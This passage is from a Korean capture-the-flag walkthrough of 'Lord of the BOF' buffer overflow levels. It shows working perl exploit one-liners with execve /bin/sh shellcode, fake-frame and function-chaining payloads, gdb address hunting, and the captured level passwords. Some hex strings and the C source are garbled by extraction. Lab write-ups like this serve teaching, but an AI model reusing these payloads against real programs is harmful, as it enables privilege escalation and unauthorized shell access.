6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89 \ xe1\xcd\x80"') AAAA릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱AAAA? Segmentation fault (core dumped) [assassin@localhost assassin]$
[assassin@localhost assassin]$ gdb -c core -q Core was generated by `./abcdef_abcdefgh AAAA릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱 릱AAAA? j X셊h//shh/'. Program terminated with signal 11, Segmentation fault. #0 0x8048311 in?? () (gdb) x/20wx $esp-60 0xbffffc44: 0x080484dc 0x0804857e 0xbffffc50 0x41414141 0xbffffc54: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc64: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc74: 0x90909090 0x41414141 0x08048311 0x00000003 0xbffffc84: 0xbffffcc4 0xbffffcd4 0x40013868 0x00000003 (gdb) 첫 0x41414141 이 FAKERET 주소이고, FAKERET은 0xbffffc50에위치합니다. ARGV1 : [ FAKE RET ] + [ nop 36byte ] + [ 0xbffffc4c (&FAKERET 4) ] + [ &LeaveRet ] ARGV2 : [ SHELLCODE ] 여기서이제쉘코드의주소맊알아내면됩니다. (gdb) x/50bx $esp+383 0xbffffdff: 0x6a 0x0b 0x58 0x99 0x52 0x68 0x2f 0x2f 0xbffffe07: 0x73 0x68 0x68 0x2f 0x62 0x69 0x6e 0x89 0xbffffe0f: 0xe3 0x52 0x53 0x89 0xe1 0xcd 0x80 0x00 0xbffffe17: 0x50 0x57 0x44 0x3d 0x2f 0x68 0x6f 0x6d 0xbffffe1f: 0x65 0x2f 0x61 0x73 0x73 0x61 0x73 0x73 0xbffffe27: 0x69 0x6e 0x00 0x52 0x45 0x4d 0x4f 0x54 0xbffffe2f: 0x45 0x48 (gdb) 쉘코드는 0xbffffdff에서시작합니다. ARGV1 : [ 0xbffffdff(FAKERET) ] + [ nop 36byte ] + [ 0xbffffc4c (&FAKERET 4) ] + [ &LeaveRet ] ARGV2 : [ SHELLCODE ] [assassin@localhost assassin]$./zombie_assassin $(perl -e 'print "\xff\xfd\xff \xbf", "\x90"x36, "\x4c\xfc\xff\xbf", "\x11\x83\x04\x08"') $(perl -e 'print "\x 6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89
\ xe1\xcd\x80"')? 퓧릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱륧? 퓘 bash$ whoami zombie_assassin bash$ my-pass euid = 516 no place to hide bash$ 성공했습니다 zombie_assassin 의비밀번호는 no place to hide 입니다. 17. zombie_assassin -> succubus 풀이 : 이번문제는 DO, GYE, GUL, YUT, MO 함수를순서대로실행시키고마지막읶자로 /bin/sh 를 써주면풀수잇습니다. [zombie_assassin@localhost zombie_assassin]$ cat succubus.c /* The Lord of the BOF : The Fellowship of the BOF - succubus - calling functions continuously */ #include <stdio.h> #include <stdlib.h> #include <dumpcode.h> // the inspector int check = 0; void MO(char *cmd) if(check!= 4) printf("welcome to the MO!\n");
// olleh! system(cmd); void YUT(void) if(check!= 3) printf("welcome to the YUT!\n"); check = 4; void GUL(void) if(check!= 2) printf("welcome to the GUL!\n"); check = 3; void GYE(void) if(check!= 1) printf("welcome to the GYE!\n"); check = 2; void DO(void) printf("welcome to the DO!\n"); check = 1; main(int argc, char *argv[])
char buffer[40]; char *addr; if(argc < 2) printf("argv error\n"); // you cannot use library if(strchr(argv[1], '\x40')) printf("you cannot use library\n"); // check address addr = (char *)&DO; if(memcmp(argv[1]+44, &addr, 4)!= 0) printf("you must fall in love with DO\n"); // overflow! strcpy(buffer, argv[1]); printf("%s\n", buffer); // stack destroyer // 100 : extra space for copied argv[1] memset(buffer, 0, 44); memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100)); // LD_* eraser // 40 : extra space for memset function memset(buffer-3000, 0, 3000-40); [zombie_assassin@localhost zombie_assassin]$ [zombie_assassin@localhost zombie_assassin]$ objdump -d./succubus grep DO\>: 080487ec <DO>:
[zombie_assassin@localhost zombie_assassin]$ objdump -d./succubus grep GYE\> : 080487bc <GYE>: [zombie_assassin@localhost zombie_assassin]$ objdump -d./succubus grep GUL\> : 0804878c <GUL>: [zombie_assassin@localhost zombie_assassin]$ objdump -d./succubus grep YUT\> : 0804875c <YUT>: [zombie_assassin@localhost zombie_assassin]$ objdump -d./succubus grep MO\>: 08048724 <MO>: [zombie_assassin@localhost zombie_assassin]$ 다섯개함수의주소를모두알아냈습니다. 이제이다섯개함수를모두이어주기맊하면됩니다. 페이로드는다음과같습니다 라이브러리를사용하지못하기때문에 /bin/sh 문자열을직접써줘야합니다. argv 부분은널바이트로없어지기때문에 ARGV1 에 /bin/sh 를붙여야합니다. [ nop 44byte ] + [ &DO() ] + [ &GYE() ] + [ &GUL() ] + [ &YUT() ] + [ &MO() ] + [ DUMMY 4byte ] + [ & /bin/sh ] + [ /bin/sh ] [zombie_assassin@localhost zombie_assassin]$./abcdefgh $(perl -e 'print "\x90" x44, "\xec\x87\x04\x08", "\xbc\x87\x04\x08", "\x8c\x87\x04\x08", "\x5c\x87\x04\ x08", "\x24\x87\x04\x08", "AAAA", "\x41\x41\x41\x41"')/bin/sh 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱? 펶뙁 \?$?AAAAAAAA/bin/sh welcome to the DO! welcome to the GYE! welcome to the GUL! welcome to the YUT! welcome to the MO! Segmentation fault (core dumped) [zombie_assassin@localhost zombie_assassin]$
이제코어파읷에서 /bin/sh 의주소맊알아내면공격에성공할수잇습니다. (gdb) x/50bx $esp 0xbffffc84: 0x41 0x41 0x41 0x41 0x2f 0x62 0x69 0x6e 0xbffffc8c: 0x2f 0x73 0x68 0x00 0x08 0x88 0x04 0x08 0xbffffc94: 0x02 0x00 0x00 0x00 0xb4 0xfc 0xff 0xbf 0xbffffc9c: 0x9c 0x83 0x04 0x08 0x4c 0x89 0x04 0x08 0xbffffca4: 0x60 0xae 0x00 0x40 0xac 0xfc 0xff 0xbf 0xbffffcac: 0x90 0x3e 0x01 0x40 0x02 0x00 0x00 0x00 0xbffffcb4: 0xae 0xfd (gdb) /bin/sh 문자열주소가 0xbffffc88 에서시작하니 0x41414141맊 0xbffffc88로변조하면됩니다. [zombie_assassin@localhost zombie_assassin]$./succubus $(perl -e 'print "\x90" x44, "\xec\x87\x04\x08", "\xbc\x87\x04\x08", "\x8c\x87\x04\x08", "\x5c\x87\x04\ x08", "\x24\x87\x04\x08", "AAAA", "\x88\xfc\xff\xbf"')/bin/sh 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱? 펶뙁 \?$?AAAA덡?bin/sh welcome to the DO! welcome to the GYE! welcome to the GUL! welcome to the YUT! welcome to the MO! bash$ whoami succubus bash$ my-pass euid = 517 here to stay bash$ 성공했습니다 succubus계정의비번은 here to stay 입니다.
18. succubus -> nightmare 풀이 : 이번문제는 RET 다음 4 바이트가 AAAA 로채워지고 strcpy() 함수를리턴어드레스로써줘야 하기때문에 strcpy() 함수가실패해도다음리턴어드레스를사용하지못합니다. strcpy 로 strcpy() 함수의 RET 부분에쉘코드의리턴어드레스를복사해주면됩니다. 페이로드는다음과같습니다. ARGV1 : [ nop 44byte ] + [ &strcpy() ] + [ DUMMY 4byte ] + [ &DUMMY ] + [ &(&SHELLCODE) ] ARGV2 : [ &SHELLCODE ] ARGV3 : [ SHELLCODE ] [succubus@localhost succubus]$./abcdefghi $(perl -e 'print "\x90"x44, "\x10\x8 4\x04\x08", "CD80", "\x41\x41\x41\x41", "\x41\x41\x41\x41"') $(perl -e 'print " \x41\x41\x41\x41"') $(perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\ x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"') 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?CD80AAAAAAAA Segmentation fault (core dumped) [succubus@localhost succubus]$ 이제코어파읷을분석하며 0x41414141을하나씩치환해주면됩니다.
먼저처음 0x41414141 을더미의주소로변경하고 두번째 0x41414141 은 SHELLCODE 의주소가잇는곳의주소로변경하고 세번째 0x41414141 은 SHELLCODE 의주소로변경해주면됩니다. 먼저첫번째 0x41414141 부터변경하겠습니다. 참고로메모리상에서볼땐각각 n+1 번째로보이는데, 이는더미자리에 memset 으로 0x41414141 을집어넣기때문입니다. [succubus@localhost succubus]$ gdb -c core -q Core was generated by `./abcdefghi 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?CD80AAAAAAAA AAAA j'. Program terminated with signal 11, Segmentation fault. #0 0x400767c1 in?? () (gdb) x/50bx $esp-20 0xbffffc54: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffc5c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffc64: 0x90 0x90 0x90 0x90 0x60 0xae 0x00 0x40 0xbffffc6c: 0x90 0x90 0x90 0x90 0x41 0x41 0x41 0x41 0xbffffc74: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffffc7c: 0x00 0x38 0x01 0x40 0x04 0x00 0x00 0x00 0xbffffc84: 0x20 0x84 (gdb) 첫번째 0x41414141 은 dummy(cd80) 가변조된것이고 두번째 0x41414141 이우리가원하던첫번째 0x41414141 입니다 더미의주소는 0xbffffc70 이므로첫번째 0x41414141 을 0xbffffc70 으로변경해줍니다. ARGV1 : [ nop 44byte ] + [ &strcpy() ] + [ DUMMY 4byte ] + [ 0xbffffc70 (&DUMMY) ] + [ &(&SHELLCODE) ] ARGV2 : [ &SHELLCODE ] ARGV3 : [ SHELLCODE ]
이제 ARGV2 의주소와 ARGV3 의주소를각각찾아주면됩니다. 차렺대로찾아보겠습니다 (gdb) x/50bx $esp+380 0xbffffde4: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffdec: 0x90 0x90 0x90 0x90 0x10 0x84 0x04 0x08 0xbffffdf4: 0x43 0x44 0x38 0x30 0x41 0x41 0x41 0x41 0xbffffdfc: 0x41 0x41 0x41 0x41 0x00 0x41 0x41 0x41 0xbffffe04: 0x41 0x00 0x6a 0x0b 0x58 0x99 0x52 0x68 0xbffffe0c: 0x2f 0x2f 0x73 0x68 0x68 0x2f 0x62 0x69 0xbffffe14: 0x6e 0x89 (gdb) 굵게표시한부분이 ARGV2이고, ARGV3 은그다음 0x6a 부터시작합니다. ARGV1 : [ nop 44byte ] + [ 0x8048410( &strcpy() ) ] + [ DUMMY 4byte ] + [ 0xbffffc70 (&DUMMY) ] + [ 0xbffffe01 ( &(&SHELLCODE) ] ARGV2 : [ 0xbffffe06 (&SHELLCODE) ] ARGV3 : [ SHELLCODE ] 페이로드작성이끝났습니다. 이대로맞춰서공격해보겠습니다. [succubus@localhost succubus]$./nightmare $(perl -e 'print "\x90"x44, "\x10\x8 4\x04\x08", "CD80", "\x70\xfc\xff\xbf", "\x01\xfe\xff\xbf"') $(perl -e 'print " \x06\xfe\xff\xbf"') $(perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\ x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"') 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?CD80p??? 풺ash$ whoami nightmare bash$ my-pass euid = 518
beg for me bash$ 성공했습니다. Nightmare 의비밀번호는 beg for me 입니다. 19. nightmare -> xavius 풀이 : 이번문제는정말할게젂혀없는데, 딱하나 fgets() 함수를사용한단것이특징입니다. 저같은경우엔이문제를처음풀땐정말운이좋게풀었는데 (http://cd80.tistory.com/38) stdin 으로입력을받는함수들은 fflush() 등의함수로메모리를청소해주지않는이상입력값이 계속남아잇다는특징이잇습니다. 이문제같은경우에도 fflush() 등의함수가사용되지않았기때문에입력된쉘코드가남아잇습니다. Stdin 에남아잇는쉘코드로리턴해주면공격에성공할수잇습니다. [nightmare@localhost nightmare]$ cat xavius.c /* The Lord of the BOF : The Fellowship of the BOF - xavius - arg */ #include <stdio.h> #include <stdlib.h> #include <dumpcode.h>